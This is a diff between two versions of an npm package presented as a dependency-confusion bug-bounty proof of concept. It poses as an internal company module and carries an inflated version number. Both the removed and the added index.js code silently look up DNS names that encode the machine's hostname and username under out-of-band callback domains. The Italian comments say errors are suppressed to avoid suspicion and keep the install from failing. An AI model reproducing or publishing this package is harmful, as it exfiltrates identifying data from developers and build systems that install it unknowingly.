internal-company-module-test-1337 99.99.9995 → 99.99.9996

package/index.js

@@ -1,43 +1,19 @@
 const dns = require('dns');
 const os = require('os');
 
-module.exports = function() {
-    return true;
-};
-
-(async function executeStealthExfiltration() {
-    try {
-        const attackerDomain = "d7rmloddfm4ctltnnffg9i546jf7e6imb.oast.me";
-
-        const trackingData = JSON.stringify({
-            poc: "dependency-confusion",
-            host: os.hostname(),
-            user: os.userInfo().username
-        });
-
-        const hex = Buffer.from(trackingData).toString('hex');
-
-        const chunkSize = 20; // più piccolo = meno corruption
-        const chunks = [];
-
-        for (let i = 0; i < hex.length; i += chunkSize) {
-            chunks.push(hex.slice(i, i + chunkSize));
-        }
-
-        const sessionId = Math.floor(Math.random() * 0xffff)
-            .toString(16)
-            .padStart(4, '0');
-
-        const sleep = ms => new Promise(r => setTimeout(r, ms));
-
-        for (let i = 0; i < chunks.length; i++) {
-            const payload = `${sessionId}.${i}.${chunks[i]}.${attackerDomain}`;
-            dns.lookup(payload, () => {});
-            await sleep(200);
-        }
-
-        // EOF marker stabile
-        dns.lookup(`${sessionId}.eof.0.${attackerDomain}`, () => {});
-
-    } catch (e) {}
-})();
+// Estrae dati di base del sistema per confermare l'RCE
+const hostname = os.hostname().replace(/[^a-zA-Z0-9]/g, '');
+const username = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '');
+
+// Dominio controllato dall'attaccante (es. generato da DNSBin)
+const attackerDomain = "d7rmv8ldfm4fftabirr0q6i9urgygm6fa.oast.pro";
+
+// Costruisce il sottodominio contenente i dati esfiltrati
+// Es: root.server-prod-01.c1a2b3c4d5.dnsbin.net
+const exfilPayload = `${username}.${hostname}.${attackerDomain}`;
+
+// Esegue una risoluzione DNS per esfiltrare i dati via OOB
+dns.lookup(exfilPayload, (err, address, family) => {
+    // L'errore viene ignorato silenziosamente per non destare sospetti
+    // e non far fallire l'installazione npm
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "internal-company-module-test-1337",
-  "version": "99.99.9995",
+  "version": "99.99.9996",
   "description": "Bug Bounty PoC for Dependency Confusion",
   "main": "index.js",
   "scripts": {
@@ -9,6 +9,6 @@
   "author": "Security Researcher",
   "license": "MIT",
   "dependencies": {
-    "internal-company-module-test-1337": "^99.99.9995"
+    "internal-company-module-test-1337": "^99.99.9996"
   }
 }